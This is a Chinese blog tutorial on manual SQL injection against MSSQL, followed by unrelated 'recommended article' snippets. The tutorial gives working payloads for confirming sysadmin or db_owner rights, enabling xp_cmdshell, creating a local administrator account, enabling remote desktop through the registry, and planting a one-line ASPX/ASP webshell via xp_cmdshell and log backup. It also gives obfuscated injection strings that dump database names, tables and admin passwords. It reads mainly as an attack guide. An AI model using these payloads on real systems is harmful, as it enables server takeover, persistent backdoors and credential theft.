注入之mssql数据库(手工注入)

2023-09-15 11:19:05

sa最高权限(可以获取系统权限)

  •     打开一个mssql数据库

        要拼接一个参数

      拼接这个参数?xxser=1

  • 检查是否是mssql数据库

        and exists (select * from%20sysobjects) 

为真是属于mssql

  •    查询当前数据库系统的用户名

        and system_user=0 (由于版本问题谷歌不可以)

可以去虚拟机,爆出系统用户名

 爆出的这个

  •     检查注入点是否为sa权限

        and 1=(select IS_SRVROLEMEMBER('sysadmin')) 

正常就是存在sa 权限

  • 判断一下xp_cmdshell存储过程是否存在

        and 1=(select count(*) from master.dbo.sysobjects where name ='xp_cmdshell')  

正常就是存在扩展程序
 恢复  EXEC sp_configure 'show advanced options', 1;RECONFIGURE sp_configure 'xp_cmdshell', 1;RECONFIGURE;--

  •    添加帐号

        exec master..xp_cmdshell 'net user test test /add'
            查看用户

  没有xp_cmdshell
                    
 

 下面的xp_cmdshell为false,直接改为true

或者 随便点一个数据库右键新建查询

select COUNT(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
 exec sp_configure 'xp_cmdshell',1
RECONFIGURE
GO
通过xp_cmdshell执行系统命令(看是否安装成功)

   ;exec master..xp_cmdshell 'net localgroup administrators test /add' 

  • 开3389

  ;execmaster.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;

dbowner(通过webshell插入一句话木马,控制电脑进行数据库差异备份)
    

  • 查看当前网站是否为db_owner权限

        and 1=(SELECT IS_MEMBER('db_owner'));--       判断当前数据库用户是否为db_owner权限

具备sa权限肯定具备db_owner权限

  • 找出网站路径

        1、通过报 错或baidu、google等查找
            

 2、通过相关语句
    drop table black;create Table black(result varchar(7996) null, id int not null identity (1,1))--

 insert into black exec master..xp_cmdshell 'dir /s c:\1.aspx'--   当前库testDB

  and (select result from black where id=4)>0--  

  • 写入一句话木马获取webshell

master..xp_cmd
  %20;exec%20master..xp_cmdshell%20'Echo%20" <%@ Page Language="Jscript"%><%eval(Request.Item["123"],"unsafe");%>">>%20c:\wwwtest\iis-xxser.com--wwwroot\sqlserver\muma.aspx'--

  多了一个木马   

 用菜刀连接

 可以正常操作

差异备份
 ;alter database testdb set RECOVERY FULL;create table test_tmp(str image);backup log testdb to disk='c:\test1' with init;insert into test_tmp(str) values (0x3C2565786375746528726571756573742822636D64222929253E);backup log testdb to disk='C:\wwwtest\iis-xxser.com--wwwroot\yjh.asp';alter database testdb set RECOVERY simple
 语句有问题

 文件已存在

  登录进去可以控制服务端

public(可以脱库,可以执行select语句)

  • 获取当前网站数据库名称

       and db_name()=0--

  • 获取mssql所有数据库名和路径

%20and%200=(select%20top%201%20cast([name]%20as%20nvarchar(256))%2bchar(94)%2bcast([filename]%20as%20nvarchar(256))%20from%20(select%20top%202%20dbid,name,filename%20from%20[master].[dbo].[sysdatabases]%20order%20by%20[dbid])%20t%20order%20by%20[dbid]%20desc)--

  • 获取当前数据库所有表名

        and 0<>(select top 1 name from testdb.dbo.sysobjects where xtype=0x7500 and name not in (select top 2 name from testdb.dbo.sysobjects where xtype=0x7500))--

  • 爆表名及字段名

        having 1=1--

  group by admin.id having 1=1--

 group by admin.id,admin.name having 1=1--
            

  •    获取字段内容

 /**/and/**/(select/**/top/**/1/**/isnull(cast([id]/**/as/**/nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([name]/**/as/**/nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([password]/**/as/**/nvarchar(4000)),char(32))/**/from/**/[testdb]..[admin]/**/where/**/1=1/**/and/**/id/**/not/**/in/**/(select/**/top/**/0/**/id/**/from/**/[testdb]..[admin]/**/where/**/1=1/**/group/**/by/**/id))%3E0/**/and/**/1=1

        
                

更多推荐

自己封装 vue3+ts 组件库并且发布到 NPM

自己封装vue3+ts组件库并且发布到NPM创建项目pnpmcreatevite配置package.json按照提示创建好项目,然后再package.json中进行如下配置:{"name":"tribiani-vue-tools","private":false,"version":"0.0.12","type":"m

Qt 面试突击

1.在Qt中,多线程环境下,信号槽分别在什么样的线程中执行,如何控制?(1)信号槽的执行线程如果信号和槽都在同一个线程,就它们就在这个线程中执行如果信号和槽不在同一个线程:Qt::DirectConnection:信号槽会在信号发射的线程中直接执行。(可能导致线程安全问题)Qt::QueuedConnection:信号

9月20日星期三,今日早报简报微语报早读

9月20日,星期三,早报简报微语早读分享。1、大理出台民宿管理新规:住宅用于民宿经营须经有利害关系的业主一致同意;​2、十一假期火车票已售出超1亿张;3、WIPO副总干事:知识产权等无形资产约占全球商业价值的90%;4、外媒:泽连斯基赴美参加联合国大会,系冲突爆发以来首次乘乌飞机出访;5、9月20日24时油价将上调,部

【Flink实战】Flink 商品销量统计-实战Bahir Connetor实战存储 数据到Redis6.X

🚀作者:“大数据小禅”🚀文章简介:Flink商品销量统计-实战BahirConnetor实战存储数据到Redis6.X🚀欢迎小伙伴们点赞👍、收藏⭐、留言💬目录导航Flink怎么操作RedisFlink商品销量统计-转换-分组-聚合-存储自定义的RedisSink实战Flink怎么操作RedisFlink怎么操

100G QSFP28 100km光模块最新解决方案

随着信息时代的到来,数据传输的速度和距离要求越来越高。目前,易天光通信发布了具有超低成本、可实现100G超长距离传输新方案——100GQSFP28100km光模块,该方案是在100GZR480km光模块上的全面升级。一、产品概述100GZR4100km是专为100公里光通信应用而设计的产品。易天光通信(ETU-LINK

线程池使用之自定义线程池

目录一:Java内置线程池原理剖析二:ThreadPoolExecutor参数详解三:线程池工作流程总结示意图四:自定义线程池-参数设计分析1:核心线程数(corePoolSize)2:任务队列长度(workQueue)3:最大线程数(maximumPoolSize)4:最大空闲时间(keepAliveTime)五:自

unity 使用声网(Agora)实现语音通话

第一步、先申请一个声网账号[Agora官网链接](https://console.shengwang.cn/)第二步在官网创建项目,选择无证书模式,证书模式需要tokenh和Appld才能通话第三步官网下载SDK然后导入到unity,也可以直接在unity商店里下载,Agora官网下载链接第四步运行官方Demo1、导入

提取数据和标签

提取数据和标签是指从给定的文本或数据集中提取出有用的信息和相应的标签。数据提取可以用于从结构化或非结构化的数据源中抽取所需的数据。例如,从表格中提取特定的字段值、从网页中提取关键词或从文本中提取实体或关系。标签提取是指从文本或数据中确定或推断出所需的类别或标签。这可以是一个二分类问题(如判断一封电子邮件是否为垃圾邮件)

SpringMVC常用注解

除了@PathVaribale请求方式的不同,要用在方法上,其他注解都用在参数上@RequestMapping,@ResponseBody既可以注解在类上,也可以注解到方法上。目录一.@RequestParam二.@RequestBody三.@PathVaribaleRestful风格Restful风格如何实现缓存机制

新能源汽车运行安全性能检验规程需要哪些CAN数据才符合标准

新能源汽车的前生命周期包括了整车制造、使用、转让市场及报废回收这几个主要阶段,在政策大力扶持下,国内新能源汽车的制造产业链完善,补贴培育市场取得丰硕的果实。目前来说,我国新能源汽车有着技术领先、设计先进、低成本优势,在全球范围内都具备很大的吸引力。纯电动汽车及电车技术的出现和发展,实现了国内新能源汽车弯道超车,跨越了百

Opencv之区域生长和分裂

区域生长1.基本原理区域生长法是较为基础的一种区域分割方法它的基本思想我说的通俗些,即是一开始有一个生长点(可以一个像素也可以是一个小区域),从这个生长点开始往外扩充,扩充的意思就是它会把跟自己有相似特征的像素或者区域拉到自己的队伍里,以此壮大自己的势力范围,每次扩大后的势力范围就是一个新的生长点,一直生长一直生长,直

热文推荐